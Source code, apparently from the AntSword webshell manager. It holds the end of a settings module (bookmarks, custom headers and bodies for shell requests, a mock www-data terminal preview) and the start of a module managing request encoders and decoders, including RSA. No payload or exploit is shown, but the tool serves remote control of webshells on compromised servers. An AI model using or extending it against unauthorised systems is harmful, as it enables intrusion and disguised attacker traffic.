'save' }]); // const form = cell.attachForm([{ type: 'block', name: 'filemanager', list: [ // {type: "label", label: LANG['filemanager']['title']}, { type: "fieldset", label: `<i class="fa fa-folder"></i> ${LANG['filemanager']['title']}`, list: [{ type: "block", list: [{ type: "label", label: LANG['filemanager']['openfileintab']['title'] }, { type: 'newcolumn', offset: 20 }, { type: "radio", label: LANG['filemanager']['openfileintab']['window'], name: 'openfileintab', checked: filemanager_settings.openfileintab == false, position: "label-right", value: false }, { type: 'newcolumn', offset: 20 }, { type: "radio", label: LANG['filemanager']['openfileintab']['tab'], name: 'openfileintab', checked: filemanager_settings.openfileintab == true, position: "label-right", value: true }] }, // { type: 'block', list: [{ type: 'label', label: LANG['filemanager']['bookmark']['title'] }, { type: 'container', name: 'filemanager_bookmarks', inputWidth: 600, inputHeight: 200 }] } ] }, { type: 'fieldset', label: `<i class="fa fa-database"></i> ${LANG['database']['title']}`, list: [{ type: 'block', list: [{ type: 'label', label: `${LANG['database']['bookmark']['title']}` }, { type: 'container', name: 'database_bookmarks', inputWidth: 600, inputHeight: 200 }] }] }, { type: 'fieldset', label: `<i class="fa fa-th-large"></i> ${LANG['shellmanager']['title']}`, list: [{ type: 'block', list: [{ type: 'checkbox', position: 'label-right', name: 'shellmanager_ignore-https', label: LANG['shellmanager']['other']['nohttps'], checked: self.shellmanager_settings.others['ignore-https'] === 1 }, { type: 'checkbox', position: 'label-right', name: 'shellmanager_use-random-variable', label: LANG['shellmanager']['other']['userandomvariable'], checked: self.shellmanager_settings.others['use-random-variable'] === 1 }, { type: "label", label: LANG['shellmanager']['other']['requestTimeout'] }, { type: "combo", position: 'label-right', label: '/ms', inputWidth: 100, name: "shellmanager_request-timeout", options: ((items) => { let ret = []; // items++ if (items.indexOf(self.shellmanager_settings.others['request-timeout']) === -1) { items.unshift(self.shellmanager_settings.others['request-timeout']); } items.map((_) => { ret.push({ text: _, value: _, selected: self.shellmanager_settings.others['request-timeout'] === _ }) }); return ret; })(['5000', '10000', '30000', '60000']) }, { type: 'label', label: LANG['shellmanager']['header']['title'] }, { type: 'container', name: 'shellmanager_headers', inputWidth: 600, inputHeight: 150 }, { type: 'label', label: LANG['shellmanager']['body']['title'] }, { type: 'container', name: 'shellmanager_bodys', inputWidth: 600, inputHeight: 150 }] }] }, { type: 'fieldset', label: `<i class="fa fa-terminal"></i> ${LANG['terminal']['title']}`, list: [{ type: 'block', list: [{ type: 'label', name: 'terminal_size_label', label: `${LANG['terminal']['size']} x${parseFloat(this.terminal_settings.tsize).toFixed(2)}` }, { type: 'newcolumn', offset: 20 }, { type: 'container', name: 'terminal_size', inputWidth: 300, inputHeight: 30 }, { type: 'container', name: 'terminal_size_preview', inputWidth: 600, inputHeight: 200 }, ] }] }, // ] }], true); form.enableLiveValidation(true); let bookmark_grid = new dhtmlXGridObject(form.getContainer('filemanager_bookmarks')); bookmark_grid.setHeader(` &nbsp;, ${LANG['filemanager']['bookmark']['grid']['name']}, ${LANG['filemanager']['bookmark']['grid']['path']} `); bookmark_grid.setColTypes("ro,edtxt,edtxt"); bookmark_grid.setColSorting('str,str,str'); bookmark_grid.setInitWidths("40,*,200"); bookmark_grid.setColAlign("center,left,left"); bookmark_grid.enableMultiselect(true); bookmark_grid.attachEvent('onRightClick', (id, lid, event) => { let _ids = (bookmark_grid.getSelectedId() || '').split(','); if (id === -1) { _ids = []; } else if (_ids.length === 1) { // bookmark_grid.selectRowById(id); _ids = [id]; }; let ids = []; _ids.map((_) => { ids.push(bookmark_grid.getRowAttribute(_, 'bname')); }); id = ids[0] || ''; let menu = [{ text: LANG['filemanager']['bookmark']['bmenu']['add'], icon: 'fa fa-plus-circle', action: self .addBookMarks .bind(self) }, { text: LANG['filemanager']['bookmark']['bmenu']['del'], icon: 'fa fa-trash-o', action: () => { self.delBookMarks(ids); } }]; bmenu(menu, event); return true; }); bookmark_grid.attachEvent("onEditCell", function (stage, rId, cInd, nValue, oValue) { // 2 if (stage === 2) { if (nValue === oValue) { return; } var obname = bookmark_grid.getRowAttribute(rId, "bname"); var obpath = bookmark_grid.getRowAttribute(rId, "bpath"); switch (cInd) { // case 1: // name // if(!nValue.match(/^[a-zA-Z0-9_/]+$/)){ // toastr.error(LANG["filemanager"]['bookmark']['edit']["name_invalid"], // LANG_T['error']); return } if (self.filemanager_settings.bookmarks.hasOwnProperty(obname)) { delete self.filemanager_settings.bookmarks[obname]; self.filemanager_settings.bookmarks[nValue] = obpath; } toastr.success(LANG["filemanager"]['bookmark']['edit']["success"], LANG_T["success"]); break; case 2: // path nValue = nValue.replace(/\\/g, '/'); if (!nValue.endsWith('/')) { nValue += '/'; } if (self.filemanager_settings.bookmarks.hasOwnProperty(obname)) { self.filemanager_settings.bookmarks[obname] = nValue; } break; } antSword['storage']('adefault_filemanager', self.filemanager_settings); self.reloadFMBookmarks(); } }); bookmark_grid.init(); this.bookmark_grid = bookmark_grid; // let db_bookmark_grid = new dhtmlXGridObject(form.getContainer('database_bookmarks')); db_bookmark_grid.setHeader(` &nbsp;, ${LANG['database']['bookmark']['grid']['name']}, ${LANG['database']['bookmark']['grid']['path']} `); db_bookmark_grid.setColTypes("ro,edtxt,edtxt"); db_bookmark_grid.setColSorting('str,str,str'); db_bookmark_grid.setInitWidths("40,220,*"); db_bookmark_grid.setColAlign("center,left,left"); db_bookmark_grid.enableMultiselect(true); db_bookmark_grid.attachEvent('onRightClick', (id, lid, event) => { let _ids = (db_bookmark_grid.getSelectedId() || '').split(','); if (id === -1) { _ids = []; } else if (_ids.length === 1) { // db_bookmark_grid.selectRowById(id); _ids = [id]; }; let ids = []; _ids.map((_) => { ids.push(db_bookmark_grid.getRowAttribute(_, 'bname')); }); id = ids[0] || ''; let dbmenu = [{ text: LANG['database']['bookmark']['bmenu']['add'], icon: 'fa fa-plus-circle', action: self .addDatabaseBookMarks .bind(self) }, { text: LANG['database']['bookmark']['bmenu']['del'], icon: 'fa fa-trash-o', action: () => { self.delDatabaseBookMarks(ids); } }]; bmenu(dbmenu, event); return true; }); db_bookmark_grid.attachEvent("onEditCell", function (stage, rId, cInd, nValue, oValue) { // 2 if (stage === 2) { if (nValue === oValue) { return; } var obname = db_bookmark_grid.getRowAttribute(rId, "bname"); // string var obpath = db_bookmark_grid.getRowAttribute(rId, "bpath"); // base64 switch (cInd) { // case 1: // name // if(!nValue.match(/^[a-zA-Z0-9_/]+$/)){ // toastr.error(LANG["database"]['bookmark']['edit']["name_invalid"], // LANG_T['error']); return } if (self.database_settings.bookmarks.hasOwnProperty(obname)) { delete self.database_settings.bookmarks[obname]; self.database_settings.bookmarks[nValue] = obpath; } toastr.success(LANG["database"]['bookmark']['edit']["success"], LANG_T["success"]); break; case 2: // sql if (self.database_settings.bookmarks.hasOwnProperty(obname)) { self.database_settings.bookmarks[obname] = Buffer .from(nValue) .toString('base64'); } break; } antSword['storage']('adefault_database', self.database_settings); self.reloadDatabaseBookmarks(); } }); db_bookmark_grid.init(); this.db_bookmark_grid = db_bookmark_grid; // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'save': if (form.validate()) { var _formvals = form.getValues(); let config = default_config; config.filemanager.openfileintab = _formvals['openfileintab']; config.filemanager.bookmarks = self.filemanager_settings.bookmarks; config.database.bookmarks = self.database_settings.bookmarks; config.shellmanager.headers = self.shellmanager_settings.headers; config.shellmanager.bodys = self.shellmanager_settings.bodys; config.shellmanager.others["ignore-https"] = _formvals['shellmanager_ignore-https']; config.shellmanager.others["use-random-variable"] = _formvals['shellmanager_use-random-variable']; config.shellmanager.others["request-timeout"] = _formvals['shellmanager_request-timeout']; config.terminal.tsize = self.terminal_settings.tsize; // save save antSword['storage']('adefault_filemanager', config.filemanager); antSword['storage']('adefault_database', config.database); antSword['storage']('adefault_shellmanager', config.shellmanager); antSword['storage']('adefault_terminal', config.terminal); toastr.success(LANG['success'], LANG_T['success']); // layer.confirm(LANG['confirm']['content'], { icon: 2, shift: 6, title: LANG['confirm']['title'] }, (_) => { location.reload(); }); } else { toastr.error(LANG['error'], LANG_T['error']); } break; } }); // headers let shellmanager_headers_grid = new dhtmlXGridObject(form.getContainer('shellmanager_headers')); shellmanager_headers_grid.setHeader(` &nbsp;, ${LANG['shellmanager']['header']['grid']['name']}, ${LANG['shellmanager']['header']['grid']['value']} `); shellmanager_headers_grid.setColTypes("ro,edtxt,edtxt"); shellmanager_headers_grid.setColSorting('str,str,str'); shellmanager_headers_grid.setInitWidths("40,200,*"); shellmanager_headers_grid.setColAlign("center,left,left"); shellmanager_headers_grid.enableMultiselect(true); shellmanager_headers_grid.attachEvent('onRightClick', (id, lid, event) => { let _ids = (shellmanager_headers_grid.getSelectedId() || '').split(','); if (id === -1) { _ids = []; } else if (_ids.length === 1) { // shellmanager_headers_grid.selectRowById(id); _ids = [id]; }; let ids = []; _ids.map((_) => { ids.push(shellmanager_headers_grid.getRowAttribute(_, 'bname')); }); id = ids[0] || ''; let menu = [{ text: LANG['shellmanager']['header']['bmenu']['add'], icon: 'fa fa-plus-circle', action: self .addShellmanagerHeaders .bind(self) }, { text: LANG['shellmanager']['header']['bmenu']['del'], icon: 'fa fa-trash-o', action: () => { self.delShellmanagerHeaders(ids); } }]; bmenu(menu, event); return true; }); shellmanager_headers_grid.attachEvent("onEditCell", function (stage, rId, cInd, nValue, oValue) { // 2 if (stage === 2) { if (nValue === oValue) { return; } var obname = shellmanager_headers_grid.getRowAttribute(rId, "bname"); var obpath = shellmanager_headers_grid.getRowAttribute(rId, "bvalue"); switch (cInd) { // case 1: // name // if(!nValue.match(/^[a-zA-Z0-9_/]+$/)){ // toastr.error(LANG["filemanager"]['bookmark']['edit']["name_invalid"], // LANG_T['error']); return } if (self.shellmanager_settings.headers.hasOwnProperty(obname)) { delete self.shellmanager_settings.headers[obname]; self.shellmanager_settings.headers[nValue] = obpath; } toastr.success(LANG["shellmanager"]['header']['edit']["success"], LANG_T["success"]); break; case 2: // value if (self.shellmanager_settings.headers.hasOwnProperty(obname)) { self.shellmanager_settings.headers[obname] = nValue; } break; } antSword['storage']('adefault_shellmanager', self.shellmanager_settings); self.reloadShellmanagerHeaders(); } }); shellmanager_headers_grid.init(); this.shellmanager_headers_grid = shellmanager_headers_grid; // Body let shellmanager_bodys_grid = new dhtmlXGridObject(form.getContainer('shellmanager_bodys')); shellmanager_bodys_grid.setHeader(` &nbsp;, ${LANG['shellmanager']['body']['grid']['name']}, ${LANG['shellmanager']['body']['grid']['value']} `); shellmanager_bodys_grid.setColTypes("ro,edtxt,edtxt"); shellmanager_bodys_grid.setColSorting('str,str,str'); shellmanager_bodys_grid.setInitWidths("40,200,*"); shellmanager_bodys_grid.setColAlign("center,left,left"); shellmanager_bodys_grid.enableMultiselect(true); shellmanager_bodys_grid.attachEvent('onRightClick', (id, lid, event) => { let _ids = (shellmanager_bodys_grid.getSelectedId() || '').split(','); if (id === -1) { _ids = []; } else if (_ids.length === 1) { // shellmanager_bodys_grid.selectRowById(id); _ids = [id]; }; let ids = []; _ids.map((_) => { ids.push(shellmanager_bodys_grid.getRowAttribute(_, 'bname')); }); id = ids[0] || ''; let menu = [{ text: LANG['shellmanager']['body']['bmenu']['add'], icon: 'fa fa-plus-circle', action: self .addShellmanagerBodys .bind(self) }, { text: LANG['shellmanager']['body']['bmenu']['del'], icon: 'fa fa-trash-o', action: () => { self.delShellmanagerBodys(ids); } }]; bmenu(menu, event); return true; }); shellmanager_bodys_grid.attachEvent("onEditCell", function (stage, rId, cInd, nValue, oValue) { // 2 if (stage === 2) { if (nValue === oValue) { return; } var obname = shellmanager_bodys_grid.getRowAttribute(rId, "bname"); var obpath = shellmanager_bodys_grid.getRowAttribute(rId, "bvalue"); switch (cInd) { // case 1: // name // if(!nValue.match(/^[a-zA-Z0-9_/]+$/)){ // toastr.error(LANG["shellmanager"]['body']['edit']["name_invalid"], // LANG_T['error']); return } if (self.shellmanager_settings.bodys.hasOwnProperty(obname)) { delete self.shellmanager_settings.bodys[obname]; self.shellmanager_settings.bodys[nValue] = obpath; } toastr.success(LANG["shellmanager"]['body']['edit']["success"], LANG_T["success"]); break; case 2: // path if (self.shellmanager_settings.bodys.hasOwnProperty(obname)) { self.shellmanager_settings.bodys[obname] = nValue; } break; } antSword['storage']('adefault_shellmanager', self.shellmanager_settings); self.reloadShellmanagerBodys(); } }); shellmanager_bodys_grid.init(); this.shellmanager_bodys_grid = shellmanager_bodys_grid; // Terminal // preview form.getContainer('terminal_size_preview').innerHTML = `<div id="div_terminal_preview" style="height:100%;margin:0;padding:0 5px 1px 5px;overflow:scroll;--size:${this.terminal_settings.tsize};"></div>`; let banner = `[[b;cyan;](*) Information]`; banner += `\n[[b;#99A50D;]Path ]: [[;#C3C3C3;]/var/www/html]`; banner += `\n[[b;#99A50D;]Driver]: [[;#C3C3C3;]/]`; banner += `\n[[b;#99A50D;]System]: [[;#C3C3C3;]Linux 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64]`; banner += `\n[[b;#99A50D;]User ]: [[;#C3C3C3;]www-data]`; let terminal_size_preview = $("#div_terminal_preview"); let term = terminal_size_preview.terminal((cmd, ter) => { ter.reset(); }, { prompt: '([[b;#E80000;]www-data]:[[;#0F93D2;]/var/www/html]) $ ', greetings: banner, history: false, }); // size slider let terminal_size_slider = new dhtmlXSlider({ parent: form.getContainer('terminal_size'), size: 300, value: this.terminal_settings.tsize, step: 0.05, min: 0.5, max: 2, }); terminal_size_slider.attachEvent("onSlideEnd", (value) => { this.terminal_settings.tsize = value; form.setItemLabel('terminal_size_label', `${LANG['terminal']['size']} x${parseFloat(value).toFixed(2)}`); term[0].style.setProperty('--size', value); }); // grid [bookmark_grid, db_bookmark_grid, shellmanager_headers_grid, shellmanager_bodys_grid].forEach((g) => { // fix $('.objbox').on('contextmenu', (e) => { (e.target.nodeName === 'DIV' && e.target.grid === g && g.callEvent instanceof Function && antSword['tabbar'].getActiveTab() === "tab_about" && sidebar.getActiveItem() === "adefault") ? g.callEvent('onRightClick', [-1, -1, e]): null; }); }); $('.objbox').on('click', (e) => { bmenu.hide(); }); this.reloadFMBookmarks(); this.reloadDatabaseBookmarks(); this.reloadShellManager(); } reloadShellManager() { this.reloadShellmanagerHeaders(); this.reloadShellmanagerBodys(); } // bookmarks grid reloadFMBookmarks() { let self = this; let data = []; let _id = 1; Object .keys(self.filemanager_settings.bookmarks) .map((t) => { data.push({ id: _id, bname: t, bpath: self.filemanager_settings.bookmarks[t], data: [ `<i class="fa fa-bookmark-o"></i>`, antSword.noxss(t), antSword.noxss(self.filemanager_settings.bookmarks[t]) ] }); _id++; }); if (data.length == 0) { data.push({ id: _id, bname: '', bpath: '', data: [`<i class="fa fa-bookmark-o"></i>`, LANG['filemanager']['bookmark']['nodata'], '&nbsp;' ] }); } self .bookmark_grid .clearAll(); self .bookmark_grid .parse({ 'rows': data }, 'json'); } addBookMarks() { let self = this; let hash = +new Date(); let index = layer.prompt({ title: `<i class="fa fa-bookmark"></i> ${LANG['filemanager']['bookmark']['add']['title']}`, content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="bookmark name"><p/><input style="width:300px;" type="tex' + 't" id="bpath_' + hash + '" class="layui-layer-input" value="" placeholder="bookmark path">', btn: [LANG['filemanager']['bookmark']['add']['addbtn']], yes: (i) => { let _bname = $(`#bname_${hash}`); let _bpath = $(`#bpath_${hash}`); let bname = _bname.val(); let bpath = _bpath.val(); let gbm = self.filemanager_settings.bookmarks; if (gbm.hasOwnProperty(bname)) { _bname.focus(); return toastr.warning(LANG['filemanager']['bookmark']['add']['namedup'], LANG_T['warning']); } bpath = bpath.replace(/\\/g, '/'); if (!bpath.endsWith('/')) { bpath += '/'; } gbm[bname] = bpath; self.filemanager_settings.bookmarks = gbm; antSword['storage']('adefault_filemanager', self.filemanager_settings); self.reloadFMBookmarks(); toastr.success(LANG['filemanager']['bookmark']['add']['success'], LANG_T['success']); layer.close(i); } }); } delBookMarks(ids) { let self = this; if (ids.length === 1 && !ids[0]) { return } layer.confirm(LANG['filemanager']['bookmark']['del']['confirm'](ids.length > 1 ? ids.length : ids[0]), { icon: 2, shift: 6, title: `<i class="fa fa-trash"></i> ${LANG['filemanager']['bookmark']['del']['title']}` }, (_) => { layer.close(_); ids.map((p) => { if (self.filemanager_settings.bookmarks.hasOwnProperty(p)) { delete self.filemanager_settings.bookmarks[p]; } }); antSword['storage']('adefault_filemanager', self.filemanager_settings); self.reloadFMBookmarks(); toastr.success(LANG['filemanager']['bookmark']['del']['success'], LANG_T['success']); }) } // database_bookmarks grid reloadDatabaseBookmarks() { let self = this; let data = []; let _id = 1; Object .keys(self.database_settings.bookmarks) .map((t) => { data.push({ id: _id, bname: t, bpath: self.database_settings.bookmarks[t], data: [ `<i class="fa fa-bookmark-o"></i>`, t, Buffer.from(self.database_settings.bookmarks[t], 'base64').toString() ] }); _id++; }); if (data.length == 0) { data.push({ id: _id, bname: '', bpath: '', data: [`<i class="fa fa-bookmark-o"></i>`, LANG['database']['bookmark']['nodata'], '&nbsp;' ] }); } self .db_bookmark_grid .clearAll(); self .db_bookmark_grid .parse({ 'rows': data }, 'json'); } addDatabaseBookMarks() { let self = this; let hash = +new Date(); let index = layer.prompt({ title: `<i class="fa fa-bookmark"></i> ${LANG['database']['bookmark']['add']['title']}`, content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="bookmark name"><p/><input style="width:300px;" type="tex' + 't" id="bpath_' + hash + '" class="layui-layer-input" value="" placeholder="bookmark sql">', btn: [LANG['database']['bookmark']['add']['addbtn']], yes: (i) => { let _bname = $(`#bname_${hash}`); let _bpath = $(`#bpath_${hash}`); let bname = _bname.val(); let bpath = _bpath.val(); let gbm = self.database_settings.bookmarks; if (gbm.hasOwnProperty(bname)) { _bname.focus(); return toastr.warning(LANG['database']['bookmark']['add']['namedup'], LANG_T['warning']); } // bpath = bpath.replace(/\\/g,'/'); if(!bpath.endsWith('/')) { bpath += '/'; // } gbm[bname] = Buffer .from(bpath) .toString('base64'); self.database_settings.bookmarks = gbm; antSword['storage']('adefault_database', self.database_settings); self.reloadDatabaseBookmarks(); toastr.success(LANG['database']['bookmark']['add']['success'], LANG_T['success']); layer.close(i); } }); } delDatabaseBookMarks(ids) { let self = this; if (ids.length === 1 && !ids[0]) { return } layer.confirm(LANG['database']['bookmark']['del']['confirm'](ids.length > 1 ? ids.length : ids[0]), { icon: 2, shift: 6, title: `<i class="fa fa-trash"></i> ${LANG['database']['bookmark']['del']['title']}` }, (_) => { layer.close(_); ids.map((p) => { if (self.database_settings.bookmarks.hasOwnProperty(p)) { delete self.database_settings.bookmarks[p]; } }); antSword['storage']('adefault_database', self.database_settings); self.reloadDatabaseBookmarks(); toastr.success(LANG['database']['bookmark']['del']['success'], LANG_T['success']); }) } // shellmanager headers grid reloadShellmanagerHeaders() { let self = this; let data = []; let _id = 1; Object .keys(self.shellmanager_settings.headers) .map((t) => { data.push({ id: _id, bname: t, bvalue: self.shellmanager_settings.headers[t], data: [`<i class="fa fa-bookmark-o"></i>`, t, self.shellmanager_settings.headers[t]] }); _id++; }); if (data.length == 0) { data.push({ id: _id, bname: '', bvalue: '', data: [`<i class="fa fa-bookmark-o"></i>`, LANG['shellmanager']['header']['nodata'], '&nbsp;' ] }); } self .shellmanager_headers_grid .clearAll(); self .shellmanager_headers_grid .parse({ 'rows': data }, 'json'); } addShellmanagerHeaders() { let self = this; let hash = +new Date(); let index = layer.prompt({ title: `<i class="fa fa-bookmark"></i> ${LANG['shellmanager']['header']['add']['title']}`, content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="name"><p/><input style="width:300px;" type="text" id="bv' + 'alue_' + hash + '" class="layui-layer-input" value="" placeholder="value">', btn: [LANG['shellmanager']['header']['add']['addbtn']], yes: (i) => { let _bname = $(`#bname_${hash}`); let _bvalue = $(`#bvalue_${hash}`); let bname = _bname.val(); let bvalue = _bvalue.val(); let gbm = self.shellmanager_settings.headers; if (gbm.hasOwnProperty(bname)) { _bname.focus(); return toastr.warning(LANG['shellmanager']['header']['add']['namedup'], LANG_T['warning']); } gbm[bname] = bvalue; self.shellmanager_settings.headers = gbm; antSword['storage']('adefault_shellmanager', self.shellmanager_settings); self.reloadShellmanagerHeaders(); toastr.success(LANG['shellmanager']['header']['add']['success'], LANG_T['success']); layer.close(i); } }); } delShellmanagerHeaders(ids) { let self = this; if (ids.length === 1 && !ids[0]) { return } layer.confirm(LANG['shellmanager']['header']['del']['confirm'](ids.length > 1 ? ids.length : ids[0]), { icon: 2, shift: 6, title: `<i class="fa fa-trash"></i> ${LANG['shellmanager']['header']['del']['title']}` }, (_) => { layer.close(_); ids.map((p) => { if (self.shellmanager_settings.headers.hasOwnProperty(p)) { delete self.shellmanager_settings.headers[p]; } }); antSword['storage']('adefault_shellmanager', self.shellmanager_settings); self.reloadShellmanagerHeaders(); toastr.success(LANG['shellmanager']['header']['del']['success'], LANG_T['success']); }) } // shellmanager bodys grid reloadShellmanagerBodys() { let self = this; let data = []; let _id = 1; Object .keys(self.shellmanager_settings.bodys) .map((t) => { data.push({ id: _id, bname: t, bvalue: self.shellmanager_settings.bodys[t], data: [`<i class="fa fa-bookmark-o"></i>`, t, self.shellmanager_settings.bodys[t]] }); _id++; }); if (data.length == 0) { data.push({ id: _id, bname: '', bvalue: '', data: [`<i class="fa fa-bookmark-o"></i>`, LANG['shellmanager']['body']['nodata'], '&nbsp;' ] }); } self .shellmanager_bodys_grid .clearAll(); self .shellmanager_bodys_grid .parse({ 'rows': data }, 'json'); } addShellmanagerBodys() { let self = this; let hash = +new Date(); let index = layer.prompt({ title: `<i class="fa fa-bookmark"></i> ${LANG['shellmanager']['body']['add']['title']}`, content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="name"><p/><input style="width:300px;" type="text" id="bv' + 'alue_' + hash + '" class="layui-layer-input" value="" placeholder="value">', btn: [LANG['shellmanager']['body']['add']['addbtn']], yes: (i) => { let _bname = $(`#bname_${hash}`); let _bvalue = $(`#bvalue_${hash}`); let bname = _bname.val(); let bvalue = _bvalue.val(); let gbm = self.shellmanager_settings.bodys; if (gbm.hasOwnProperty(bname)) { _bname.focus(); return toastr.warning(LANG['shellmanager']['body']['add']['namedup'], LANG_T['warning']); } gbm[bname] = bvalue; self.shellmanager_settings.bodys = gbm; antSword['storage']('adefault_shellmanager', self.shellmanager_settings); self.reloadShellmanagerBodys(); toastr.success(LANG['shellmanager']['body']['add']['success'], LANG_T['success']); layer.close(i); } }); } delShellmanagerBodys(ids) { let self = this; if (ids.length === 1 && !ids[0]) { return } layer.confirm(LANG['shellmanager']['body']['del']['confirm'](ids.length > 1 ? ids.length : ids[0]), { icon: 2, shift: 6, title: `<i class="fa fa-trash"></i> ${LANG['shellmanager']['body']['del']['title']}` }, (_) => { layer.close(_); ids.map((p) => { if (self.shellmanager_settings.bodys.hasOwnProperty(p)) { delete self.shellmanager_settings.bodys[p]; } }); antSword['storage']('adefault_shellmanager', self.shellmanager_settings); self.reloadShellmanagerBodys(); toastr.success(LANG['shellmanager']['body']['del']['success'], LANG_T['success']); }) } } module.exports = ADefault; ```
/content/code_sandbox/source/modules/settings/adefault.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
8,477
```javascript /** * :: * 2017-05-30 * 2020-11-03 * Virink <virink@outlook.com> * Medici.Yan <Medici.Yan@gmail.com> * yzddMr6 <yzddmr6@gmail.com> */ const LANG = antSword['language']['settings']['encoders']; const LANG_T = antSword['language']['toastr']; const fs = require('fs'); const path = require('path'); const NodeRSA = require('node-rsa'); const WIN = require("../../ui/window"); class Encoders { constructor(sidebar) { var that = this; this.encoders = antSword["encoders"]; this.decoders = antSword["decoders"]; let keyPath = path.join(remote.process.env.AS_WORKDIR, `antData/`); this.rsa = { keyPath: { pub: `${keyPath}/key_rsa.pub`, pri: `${keyPath}/key_rsa` } } sidebar.addItem({ id: 'encoders', text: `<i class="fa fa-file-code-o"></i> ${LANG['title']}` }); that.cell = sidebar.cells('encoders'); const toolbar = that .cell .attachToolbar(); toolbar.loadStruct([{ type: 'buttonSelect', text: LANG['toolbar']['new'], icon: 'plus-circle', id: 'new', openAll: true, options: ((items)=>{ let ret = []; items.map((_) => { ret.push({ id: `new_${antSword.noxss(_.toLocaleLowerCase())}`, icon: 'file-code-o', type: 'button', text: antSword.noxss(_.toUpperCase()) }); }); ret = ret.concat([{ type: 'separator' }, { id: 'new_php_rsa', icon: 'file-code-o', type: 'button', text: "PHP RSA" }]); return ret; })(antSword["core_types"]), }, { type: 'buttonSelect', text: LANG['toolbar']['new_decoder'], icon: 'plus-circle', id: 'new_decoder', openAll: true, options: ((items)=>{ let ret = []; items.map((_) => { ret.push({ id: `new_${antSword.noxss(_.toLocaleLowerCase())}_decoder`, icon: 'file-code-o', type: 'button', text: antSword.noxss(_.toUpperCase()) }); }); return ret; })(antSword["core_types"]), }, { type: 'separator' }, { type: 'button', text: LANG['toolbar']['edit'], icon: 'fa fa-edit', id: 'edit' }, { type: 'button', text: LANG['toolbar']['delete'], icon: 'fa fa-trash-o', id: 'delete' }, { type: 'separator' }, { type: 'button', text: LANG['toolbar']['rsa'], icon: 'fa fa-key', id: 'rsa' }, { type: 'separator' }, { type: 'button', text: LANG['toolbar']['more'], icon: 'fa fa-chrome', id: 'more' }]); toolbar.attachEvent("onClick", (id) => { switch (id) { case "edit": that.editEncoder(); break; case "delete": that.deleteEncoder(); break; case "rsa": that.rsaConfig(); break; case "more": antSword .shell .openExternal("path_to_url"); break; default: if(id.indexOf("decoder")>-1) { that.createEncoder(id, 'decoder'); } else { that.createEncoder(id); } break; } }); let grid = that .cell .attachGrid(); grid.setHeader(` &nbsp;, ${LANG['grid']['ename']}, ${LANG['grid']['etype']}, ${LANG['grid']['edtype']['title']} `); grid.setColTypes("ro,edtxt,coro,ro"); grid.setColSorting('str,str,str,str'); grid.setInitWidths("40,*,150,150"); grid.setColAlign("center,left,center,center"); grid.enableMultiselect(true); var combobox = grid.getCombo(2); antSword['core_types'].map((t)=>{ combobox.put(t,t.toUpperCase()); }); grid.attachEvent("onEditCell", function (stage, rId, cInd, nValue, oValue) { // 2 if (stage === 2) { nValue = nValue.toLocaleLowerCase(); oValue = oValue.toLocaleLowerCase(); if (nValue === oValue) { return; } var oename = grid.getRowAttribute(rId, "ename"); var oepath = grid.getRowAttribute(rId, "epath"); var oetype = grid.getRowAttribute(rId, "etype"); var oedtype = grid.getRowAttribute(rId, "edtype"); oepath = oepath + ".js"; switch (cInd) { case 1: // name if (!nValue.match(/^[a-zA-Z0-9_]+$/)) { toastr.error(LANG["message"]["ename_invalid"], LANG_T['error']); return } if (that._checkname(nValue, oetype, oedtype)) { toastr.error(LANG['message']['ename_duplicate'], LANG_T['error']); return; } fs.renameSync(oepath, path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${oetype}/${oedtype}/${nValue}.js`)); toastr.success(LANG['message']["rename_success"], LANG_T["success"]); break case 2: // type if (antSword['core_types'].indexOf(nValue) == -1) { toastr.error(LANG['message']["etype_error"], LANG_T['error']); return } if (that._checkname(oename, nValue, oedtype)) { toastr.error(LANG['message']['ename_duplicate'], LANG_T['error']); return; } // if (oedtype === "decoder" && nValue != "php" && nValue != "custom") { // toastr.error("Not Support", LANG_T["error"]); // return; // } fs.renameSync(oepath, path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${nValue}/${oedtype}/${oename}.js`)); toastr.success(LANG['message']["retype_success"], LANG_T["success"]); break } that.syncencoders(); that.syncdecoders(); } }); grid.init(); that.grid = grid; that.parseData(); } // createEncoder(id, edtype = "encoder") { let self = this; let idArr = id.split('_'); let type = idArr[1]; let rsa = idArr.length >= 3 ? (idArr[2] === 'rsa' ? '_rsa' : '') : ''; layer.prompt({ value: `my${edtype}`, title: `<i class="fa fa-file-code-o"></i> ` + LANG["prompt"][`create_${edtype}`] }, (value, i, e) => { value = value.toLocaleLowerCase(); if (!value.match(/^[a-zA-Z0-9_]+$/)) { toastr.error(LANG["message"]["ename_invalid"], LANG_T['error']); return } if (self._checkname(value, type, edtype)) { toastr.error(LANG["message"]["ename_duplicate"], LANG_T['error']); layer.close(i); return } let savePath = path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${type}/${edtype}/${value}${rsa}.js`); let filedata = ''; if (edtype === 'encoder') { if (rsa) { filedata = self.default_rsa_template; } else { filedata = self.default_template; } } else { filedata = self.default_decoder_template; } fs.writeFileSync(savePath, filedata); var ids = self .grid .getAllRowIds(); let _id = 1; if (ids.length > 0) { _id = parseInt(ids[ids.length - 1]); } _id++; self .grid .addRow(_id, `${_id},${antSword.noxss(value)},${type},${edtype}`); toastr.success(LANG["message"]["create_success"], LANG_T["success"]); self .cell .progressOff(); layer.close(i); if (edtype === 'encoder') { self.syncencoders(); } else { self.syncdecoders(); } }); } // editEncoder() { let self = this; // ID let ids = self .grid .getSelectedId(); if (!ids) { toastr.warning(LANG["message"]["edit_not_select"], LANG_T["warning"]); return } let _ids = ids.split(","); if (_ids.length !== 1) { toastr.warning(LANG["message"]["edit_only_single"], LANG_T["warning"]); return } let _id = _ids[0]; const ename = self .grid .getRowAttribute(_id, 'ename'); const epath = self .grid .getRowAttribute(_id, 'epath'); const edtype = self .grid .getRowAttribute(_id, 'edtype'); let buff = fs.readFileSync(epath + ".js"); let opt = { title: `${LANG["edit_win_title"]}${LANG[edtype]}: ${ename}`, width: 800, height: 600 }; let _win = new WIN(opt); _win .win .centerOnScreen(); _win .win .button('minmax') .show(); _win .win .button('minmax') .enable(); // _win.win.maximize(); 